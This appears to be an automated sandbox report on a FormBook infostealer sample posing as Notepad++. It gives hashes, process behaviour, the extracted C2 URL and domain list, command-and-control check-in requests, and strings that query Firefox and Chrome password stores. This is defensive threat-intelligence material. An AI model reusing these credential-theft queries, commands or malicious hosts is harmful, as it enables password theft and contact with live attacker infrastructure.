| File name: | SecuriteInfo.com.Variant.Barys.281.25619.21217 |
| Full analysis: | https://app.any.run/tasks/a21f5d97-98c6-4ae8-ae87-1cd7e88e2478 |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | July 22, 2022, 12:44:23 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows |
| MD5: | 00417E64EC534E08FFDA1A911252C781 |
| SHA1: | ABD09E3F0ADA6C30E5BFEA31B37D07AC91D8CF4F |
| SHA256: | 1E555C2E46EF544275B0A6E1568BC51EC55BB875D6EB939F517D4D21FCF37449 |
| SSDEEP: | 12288:NMh4DtvdmgKuswT6jF+A2RIw46Y6AblJzMEpIs8oGjND:2CDtv4g1swrAy466TB6Hx |
MALICIOUS
FORMBOOK detected by memory dumps
- msiexec.exe (PID: 3468)
FORMBOOK was detected
- Explorer.EXE (PID: 1376)
Connects to CnC server
- Explorer.EXE (PID: 1376)
SUSPICIOUS
Checks supported languages
- SecuriteInfo.com.Variant.Barys.281.25619.21217.exe (PID: 2932)
- InstallUtil.exe (PID: 4068)
Reads the computer name
- SecuriteInfo.com.Variant.Barys.281.25619.21217.exe (PID: 2932)
- InstallUtil.exe (PID: 4068)
Starts CMD.EXE for commands execution
- msiexec.exe (PID: 3468)
Reads Environment values
- msiexec.exe (PID: 3468)
INFO
Reads the computer name
- msiexec.exe (PID: 3468)
Manual execution by user
- msiexec.exe (PID: 3468)
Checks supported languages
- msiexec.exe (PID: 3468)
- cmd.exe (PID: 1768)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Formbook
(PID) Process(3468) msiexec.exe
C2www.asu175t.icu/ja25/
Decoys and strings (143)USERNAME
LOCALAPPDATA
USERPROFILE
APPDATA
TEMP
ProgramFiles
CommonProgramFiles
ALLUSERSPROFILE
/c copy "
/c del "
\Run
\Policies
\Explorer
\Registry\User
\Registry\Machine
\SOFTWARE\Microsoft\Windows\CurrentVersion
Office\15.0\Outlook\Profiles\Outlook\
NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\
\SOFTWARE\Mozilla\Mozilla
\Mozilla
Username:
Password:
formSubmitURL
usernameField
encryptedUsername
encryptedPassword
\logins.json
\signons.sqlite
\Microsoft\Vault\
SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins
\Google\Chrome\User Data\Default\Login Data
SELECT origin_url, username_value, password_value FROM logins
.exe
.com
.scr
.pif
.cmd
.bat
ms
win
gdi
mfc
vga
igfx
user
help
config
update
regsvc
chkdsk
systray
audiodg
certmgr
autochk
taskhost
colorcpl
services
IconCache
ThumbCache
Cookies
SeDebugPrivilege
SeShutdownPrivilege
\BaseNamedObjects
config.php
POST
HTTP/1.1
Host:
Connection: close
Content-Length:
Cache-Control: no-cache
Origin: http://
User-Agent: Mozilla Firefox/4.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://
Accept-Language: en-US
Accept-Encoding: gzip, deflate
dat=
f-start
walkinet.com
shuifengshi.com
slowbarcelona.com
memc-gvo.com
bloquo.com
aurelashesbeauty.com
makepassiveway.com
kguvpkh.icu
benny.industries
t04mo9.com
getafurnace.com
earthadventurers.today
partsgt.com
kg0sxa1.icu
p7lzww8m.space
sarkariyojanayain.com
asp7ex4.icu
kg6u7ik.icu
h2butterfly.com
herdesirablepleasures.com
plexio.net
asalleg.icu
sunval.site
589815.com
theswissformula.com
laixetienthanh.net
okpayqb2.com
vaynganhangvpbank.com
goodluckfinancepvtltd.com
flauntstrategy.com
sexdem.net
thelittlebeercompany.com
as257gg.icu
thelittlebeercompany.com
viagemperu.com
thisisponyclub.com
cabeutolos.com
themesskits.com
ovinode.com
kglanv5.icu
bg-hyuplus.com
lotusonlineid.com
sdift.com
bgfygeu.site
rushanhkhy.com
realityjunkie.net
fastkillgaming.space
ybon.net
zyuje.top
lagital.com
subfbgiare.site
betesdunord.com
ikbaldagitim.site
asi8iwn.icu
gutro.online
kanojo.club
nhahanghaisanquycan.xyz
brandslee.com
asw87uu.icu
asr3gib.icu
askpai1.icu
matthewbrower.net
paanchlinkbanade.life
gorbacewicz.com
f-end
Modules (42)kernel32.dll
advapi32.dll
ws2_32.dll
svchost.exe
msiexec.exe
wuauclt.exe
lsass.exe
wlanext.exe
msg.exe
lsm.exe
dwm.exe
help.exe
chkdsk.exe
cmmon32.exe
nbtstat.exe
spoolsv.exe
rdpclip.exe
control.exe
taskhost.exe
rundll32.exe
systray.exe
audiodg.exe
wininit.exe
services.exe
autochk.exe
autoconv.exe
autofmt.exe
cmstp.exe
colorcpl.exe
cscript.exe
explorer.exe
WWAHost.exe
ipconfig.exe
msdt.exe
mstsc.exe
NAPSTAT.EXE
netsh.exe
NETSTAT.EXE
raserver.exe
wscript.exe
wuapp.exe
cmd.exe
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (82.9) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (7.4) |
| .exe | | | Win32 Executable (generic) (5.1) |
| .exe | | | Generic Win/DOS Executable (2.2) |
| .exe | | | DOS Executable Generic (2.2) |
EXIF
EXE
| AssemblyVersion: | 8.4.2.0 |
|---|---|
| ProductVersion: | 8.4.2.0 |
| ProductName: | Notepad++ |
| OriginalFileName: | 44534.exe |
| LegalTrademarks: | - |
| LegalCopyright: | Copyleft 1998-2017 by Don HO |
| InternalName: | 44534.exe |
| FileVersion: | 8.4.2.0 |
| FileDescription: | Notepad++ : a free (GNU) source code editor |
| CompanyName: | Don HO don.h@free.fr |
| Comments: | Notepad++ : a free (GNU) source code editor |
| CharacterSet: | Unicode |
| LanguageCode: | Neutral |
| FileSubtype: | - |
| ObjectFileType: | Executable application |
| FileOS: | Win32 |
| FileFlags: | (none) |
| FileFlagsMask: | 0x003f |
| ProductVersionNumber: | 8.4.2.0 |
| FileVersionNumber: | 8.4.2.0 |
| Subsystem: | Windows GUI |
| SubsystemVersion: | 6 |
| ImageVersion: | - |
| OSVersion: | 4 |
| EntryPoint: | 0x7531a |
| UninitializedDataSize: | - |
| InitializedDataSize: | 3072 |
| CodeSize: | 472064 |
| LinkerVersion: | 6 |
| PEType: | PE32 |
| TimeStamp: | 2022:07:22 11:54:15+02:00 |
| MachineType: | Intel 386 or later, and compatibles |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 22-Jul-2022 09:54:15 |
| Comments: | Notepad++ : a free (GNU) source code editor |
| CompanyName: | Don HO don.h@free.fr |
| FileDescription: | Notepad++ : a free (GNU) source code editor |
| FileVersion: | 8.4.2.0 |
| InternalName: | 44534.exe |
| LegalCopyright: | Copyleft 1998-2017 by Don HO |
| LegalTrademarks: | - |
| OriginalFilename: | 44534.exe |
| ProductName: | Notepad++ |
| ProductVersion: | 8.4.2.0 |
| Assembly Version: | 8.4.2.0 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000080 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 3 |
| Time date stamp: | 22-Jul-2022 09:54:15 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00002000 | 0x00073320 | 0x00073400 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 7.93263 |
.rsrc | 0x00076000 | 0x000009C4 | 0x00000A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.42312 |
.reloc | 0x00078000 | 0x0000000C | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 0.10191 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.94168 | 436 | Latin 1 / Western European | UNKNOWN | RT_MANIFEST |
32512 | 2.16096 | 20 | Latin 1 / Western European | UNKNOWN | RT_GROUP_ICON |
Imports
mscoree.dll |
Total processes
37
Monitored processes
5
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1376 | C:\Windows\Explorer.EXE | C:\Windows\Explorer.EXE | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1768 | /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" | C:\Windows\System32\cmd.exe | — | msiexec.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2932 | "C:\Users\admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Barys.281.25619.21217.exe" | C:\Users\admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Barys.281.25619.21217.exe | — | Explorer.EXE | |||||||||||
User: admin Company: Don HO don.h@free.fr Integrity Level: MEDIUM Description: Notepad++ : a free (GNU) source code editor Exit code: 0 Version: 8.4.2.0 Modules
| |||||||||||||||
| 3468 | "C:\Windows\System32\msiexec.exe" | C:\Windows\System32\msiexec.exe | Explorer.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
Formbook(PID) Process(3468) msiexec.exe C2www.asu175t.icu/ja25/ Decoys and strings (143)USERNAME LOCALAPPDATA USERPROFILE APPDATA TEMP ProgramFiles CommonProgramFiles ALLUSERSPROFILE /c copy " /c del " \Run \Policies \Explorer \Registry\User \Registry\Machine \SOFTWARE\Microsoft\Windows\CurrentVersion Office\15.0\Outlook\Profiles\Outlook\ NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ \SOFTWARE\Mozilla\Mozilla \Mozilla Username: Password: formSubmitURL usernameField encryptedUsername encryptedPassword \logins.json \signons.sqlite \Microsoft\Vault\ SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins \Google\Chrome\User Data\Default\Login Data SELECT origin_url, username_value, password_value FROM logins .exe .com .scr .pif .cmd .bat ms win gdi mfc vga igfx user help config update regsvc chkdsk systray audiodg certmgr autochk taskhost colorcpl services IconCache ThumbCache Cookies SeDebugPrivilege SeShutdownPrivilege \BaseNamedObjects config.php POST HTTP/1.1 Host: Connection: close Content-Length: Cache-Control: no-cache Origin: http:// User-Agent: Mozilla Firefox/4.0 Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http:// Accept-Language: en-US Accept-Encoding: gzip, deflate
dat= f-start walkinet.com shuifengshi.com slowbarcelona.com memc-gvo.com bloquo.com aurelashesbeauty.com makepassiveway.com kguvpkh.icu benny.industries t04mo9.com getafurnace.com earthadventurers.today partsgt.com kg0sxa1.icu p7lzww8m.space sarkariyojanayain.com asp7ex4.icu kg6u7ik.icu h2butterfly.com herdesirablepleasures.com plexio.net asalleg.icu sunval.site 589815.com theswissformula.com laixetienthanh.net okpayqb2.com vaynganhangvpbank.com goodluckfinancepvtltd.com flauntstrategy.com sexdem.net thelittlebeercompany.com as257gg.icu thelittlebeercompany.com viagemperu.com thisisponyclub.com cabeutolos.com themesskits.com ovinode.com kglanv5.icu bg-hyuplus.com lotusonlineid.com sdift.com bgfygeu.site rushanhkhy.com realityjunkie.net fastkillgaming.space ybon.net zyuje.top lagital.com subfbgiare.site betesdunord.com ikbaldagitim.site asi8iwn.icu gutro.online kanojo.club nhahanghaisanquycan.xyz brandslee.com asw87uu.icu asr3gib.icu askpai1.icu matthewbrower.net paanchlinkbanade.life gorbacewicz.com f-end Modules (42)kernel32.dll advapi32.dll ws2_32.dll svchost.exe msiexec.exe wuauclt.exe lsass.exe wlanext.exe msg.exe lsm.exe dwm.exe help.exe chkdsk.exe cmmon32.exe nbtstat.exe spoolsv.exe rdpclip.exe control.exe taskhost.exe rundll32.exe systray.exe audiodg.exe wininit.exe services.exe autochk.exe autoconv.exe autofmt.exe cmstp.exe colorcpl.exe cscript.exe explorer.exe WWAHost.exe ipconfig.exe msdt.exe mstsc.exe NAPSTAT.EXE netsh.exe NETSTAT.EXE raserver.exe wscript.exe wuapp.exe cmd.exe | |||||||||||||||
| 4068 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | — | SecuriteInfo.com.Variant.Barys.281.25619.21217.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: .NET Framework installation utility Exit code: 0 Version: 4.0.30319.34209 built by: FX452RTMGDR Modules
| |||||||||||||||
Total events
116
Read events
115
Write events
1
Delete events
0
Modification events
| (PID) Process: | (1376) Explorer.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Action Center\Checks\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0 |
| Operation: | write | Name: | CheckSetting |
Value: 01000000D08C9DDF0115D1118C7A00C04FC297EB010000001990E07693472248BBCA489CB1E2F45800000000020000000000106600000001000020000000D67D94070B57984D9A007907A7B73F8B197F90CD04C6E6DCC6C99DC90F2ECF4F000000000E8000000002000020000000D7C178341A50287F4AC34CCB6B2261BDB273B37B4F33903D2FED024A475507BE300000006C5AF6A4AD1EA477AD2CD165088D9BC05E6A2245FCD77AF3780D27773DD809A984EF65123F339E2182EBFC2D2F6BAFF340000000BB5F2FC75136570494B12C4762A4B37F62E6509288163D1314567BCF6A26D97685178C83D63B1DE64D45059F46C4E7CCB303B5CB262E841E0B9AE6CA1379A382 | |||
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0
Dropped files
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
5
Threats
13
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1376 | Explorer.EXE | GET | — | 198.54.117.217:80 | http://www.thelittlebeercompany.com/ja25/?CP=N/9mc+ZxVvfT8dwScxTjb/STxfZkl9GiRTXQlaGvtw8jF/w4mKef7xmLWd62oK+Z2sQpfQ==&2duH=XnJhINEh | US | — | — | malicious |
1376 | Explorer.EXE | GET | — | 38.63.141.189:80 | http://www.sexdem.net/ja25/?CP=M3rY0tj81m4dZWW4Xux9XmcJjrDqeT5O33ooZZFSIRrztBq8v2uK2T1O8xAuGObbcDXN/A==&2duH=XnJhINEh | US | — | — | malicious |
1376 | Explorer.EXE | GET | 404 | 107.151.91.248:80 | http://www.asi8iwn.icu/ja25/?CP=R4Axsmy4P7sDZZ6zOX0PSzHVlpZ8TjZxwOml5ZIbUkvK2SX3XDb+eKBYn56ubu+gP1VjRw==&2duH=XnJhINEh | US | html | 548 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1376 | Explorer.EXE | 198.54.117.217:80 | www.thelittlebeercompany.com | Namecheap, Inc. | US | malicious |
1376 | Explorer.EXE | 38.63.141.189:80 | www.sexdem.net | Cogent Communications | US | malicious |
1376 | Explorer.EXE | 107.151.91.248:80 | www.asi8iwn.icu | Sun Network (Hong Kong) Limited - HongKong Backbone | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.thelittlebeercompany.com |
| malicious |
www.sexdem.net |
| unknown |
www.asi8iwn.icu |
| malicious |
www.aurelashesbeauty.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1376 | Explorer.EXE | Generic Protocol Command Decode | SURICATA HTTP Unexpected Request body |
1376 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1376 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1376 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1376 | Explorer.EXE | Generic Protocol Command Decode | SURICATA HTTP Unexpected Request body |
1376 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1376 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1376 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
— | — | Potentially Bad Traffic | ET INFO DNS Query for Suspicious .icu Domain |
1376 | Explorer.EXE | Generic Protocol Command Decode | SURICATA HTTP Unexpected Request body |